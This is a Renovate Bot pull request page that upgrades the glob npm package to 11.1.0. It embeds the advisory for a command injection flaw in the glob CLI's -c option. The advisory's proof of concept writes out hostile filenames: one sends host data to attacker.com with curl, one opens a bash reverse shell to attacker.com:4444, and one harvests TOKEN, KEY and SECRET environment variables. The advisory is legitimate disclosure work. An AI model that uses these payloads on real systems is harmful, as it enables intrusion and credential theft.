Skip to content

Conversation

@openverse-bot
Copy link
Collaborator

@openverse-bot openverse-bot commented Nov 24, 2025

This PR contains the following updates:

Package Type Update Change
glob devDependencies minor 11.0.0 -> 11.1.0

GitHub Vulnerability Alerts

CVE-2025-64756

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

  1. User runs glob -c <command> <pattern>
  2. CLI finds files matching the pattern
  3. Matched filenames are collected into an array
  4. Command is executed with matched filenames as arguments using shell: true
  5. Shell interprets metacharacters in filenames as command syntax
  6. Malicious filenames execute arbitrary commands

Affected Component:

  • CLI Only: The vulnerability affects only the command-line interface
  • Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
  • Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

  • Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
  • Any directory where attackers can control filenames (PR branches, archives, user uploads)
  • CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

  • The echo command executes normally
  • Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
  • A new file injected_poc is created, proving command execution
  • Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:

  • Commands execute with full privileges of the user running glob CLI
  • No privilege escalation required - runs as current user
  • Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

  • Malicious PR adds files with crafted names to repository
  • CI pipeline uses glob -c to process files (linting, testing, deployment)
  • Commands execute in CI environment with build secrets and deployment credentials
  • Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

  • Developer clones repository or extracts archive containing malicious filenames
  • Local build scripts use glob -c for file processing
  • Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

  • Services using glob CLI to process uploaded files or external content
  • File uploads with malicious names trigger command execution
  • Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

  • Malicious packages or themes include files with crafted names
  • Build processes using glob CLI automatically process these files
  • Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

  • POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
  • Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
  • Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

  • Ecosystem: npm
  • Package name: glob
  • Component: CLI only (src/bin.mts)
  • Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
  • Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
  • Patched versions: 11.1.0and 10.5.0

Scope Limitation:

  • Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
  • CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

  • Upgrade to [email protected], [email protected], or higher, as soon as possible.
  • If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
  • As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

Release Notes

isaacs/node-glob (glob)

v11.1.0

Compare Source

v11.0.3

Compare Source

v11.0.2

Compare Source

v11.0.1

Compare Source


Configuration

📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled because a matching PR was automerged previously.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

@openverse-bot openverse-bot added the dependencies Pull requests that update a dependency file label Nov 24, 2025
@openverse-bot openverse-bot requested a review from a team as a code owner November 24, 2025 08:13
@openverse-bot openverse-bot added 💻 aspect: code Concerns the software code in the repository 🟨 tech: javascript Involves JavaScript 🟩 priority: low Low priority and doesn't need to be rushed 🧰 goal: internal improvement Improvement that benefits maintainers, not users 🧱 stack: frontend Related to the Nuxt frontend labels Nov 24, 2025
@openverse-bot openverse-bot added 🟩 priority: low Low priority and doesn't need to be rushed 💻 aspect: code Concerns the software code in the repository dependencies Pull requests that update a dependency file 🧰 goal: internal improvement Improvement that benefits maintainers, not users 🟨 tech: javascript Involves JavaScript 🧱 stack: frontend Related to the Nuxt frontend labels Nov 24, 2025
@openverse-bot openverse-bot moved this to 👀 Needs Review in Openverse PRs Nov 24, 2025
@github-actions
Copy link

github-actions bot commented Nov 24, 2025

Latest k6 run output1

     ✓ status was 200

     checks.........................: 100.00% ✓ 416      ✗ 0   
     data_received..................: 97 MB   401 kB/s
     data_sent......................: 55 kB   226 B/s
     http_req_blocked...............: avg=92.66µs  min=2.45µs   med=4.73µs   max=1.55ms   p(90)=218.73µs p(95)=747.87µs
     http_req_connecting............: avg=41.19µs  min=0s       med=0s       max=1.28ms   p(90)=104.26µs p(95)=211.1µs 
     http_req_duration..............: avg=154.12ms min=17.12ms  med=95.91ms  max=1s       p(90)=354.21ms p(95)=447.44ms
       { expected_response:true }...: avg=154.12ms min=17.12ms  med=95.91ms  max=1s       p(90)=354.21ms p(95)=447.44ms
   ✓ http_req_failed................: 0.00%   ✓ 0        ✗ 416 
     http_req_receiving.............: avg=167.23µs min=53.39µs  med=143.84µs max=636.79µs p(90)=275.88µs p(95)=331.46µs
     http_req_sending...............: avg=37.61µs  min=9.03µs   med=23.34µs  max=2.88ms   p(90)=51.29µs  p(95)=101.37µs
     http_req_tls_handshaking.......: avg=0s       min=0s       med=0s       max=0s       p(90)=0s       p(95)=0s      
     http_req_waiting...............: avg=153.92ms min=16.98ms  med=95.73ms  max=999.84ms p(90)=353.86ms p(95)=447.2ms 
     http_reqs......................: 416     1.725196/s
     iteration_duration.............: avg=829.21ms min=281.65ms med=884.27ms max=1.74s    p(90)=1.1s     p(95)=1.14s   
     iterations.....................: 78      0.323474/s
     vus............................: 5       min=0      max=6 
     vus_max........................: 60      min=60     max=60

Footnotes

  1. This comment will automatically update with new output each time k6 runs for this PR

@openverse-bot openverse-bot force-pushed the gha-renovatenpm-glob-vulnerability branch 5 times, most recently from beee68a to b784066 Compare November 28, 2025 14:40
@openverse-bot openverse-bot force-pushed the gha-renovatenpm-glob-vulnerability branch 7 times, most recently from 68470b2 to 8e55e13 Compare December 4, 2025 11:38
@openverse-bot openverse-bot force-pushed the gha-renovatenpm-glob-vulnerability branch 5 times, most recently from bf32dfb to 1f90c0f Compare December 21, 2025 06:11
@openverse-bot openverse-bot force-pushed the gha-renovatenpm-glob-vulnerability branch 4 times, most recently from 2414638 to 49a47b8 Compare December 31, 2025 15:40
@openverse-bot openverse-bot force-pushed the gha-renovatenpm-glob-vulnerability branch 7 times, most recently from bfb2d24 to cffc906 Compare January 12, 2026 18:12
@openverse-bot openverse-bot force-pushed the gha-renovatenpm-glob-vulnerability branch 8 times, most recently from bc6158f to ad0c4aa Compare January 23, 2026 14:12
@openverse-bot openverse-bot force-pushed the gha-renovatenpm-glob-vulnerability branch 3 times, most recently from 88de46e to 01a2207 Compare January 26, 2026 16:48
@openverse-bot openverse-bot force-pushed the gha-renovatenpm-glob-vulnerability branch from 01a2207 to 39e639d Compare January 28, 2026 14:47
@github-actions
Copy link

Playwright failure test results: https://github.com/WordPress/openverse/actions/runs/21442871004

It looks like some of the Playwright tests failed. If you made changes to the frontend UI without updating snapshots, this might be the cause. You can download zipped patches containing the updated snapshots alongside a general trace of the tests under the "Artifacts" section in the above page. They're named in the form *_snapshot_diff and *_test_results respectively.

You can read more on how to use these artifacts in the docs.

If the test is flaky, follow the flaky test triage procedure.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

💻 aspect: code Concerns the software code in the repository dependencies Pull requests that update a dependency file 🧰 goal: internal improvement Improvement that benefits maintainers, not users 🟩 priority: low Low priority and doesn't need to be rushed 🧱 stack: frontend Related to the Nuxt frontend 🟨 tech: javascript Involves JavaScript

Projects

Status: 👀 Needs Review

Development

Successfully merging this pull request may close these issues.

2 participants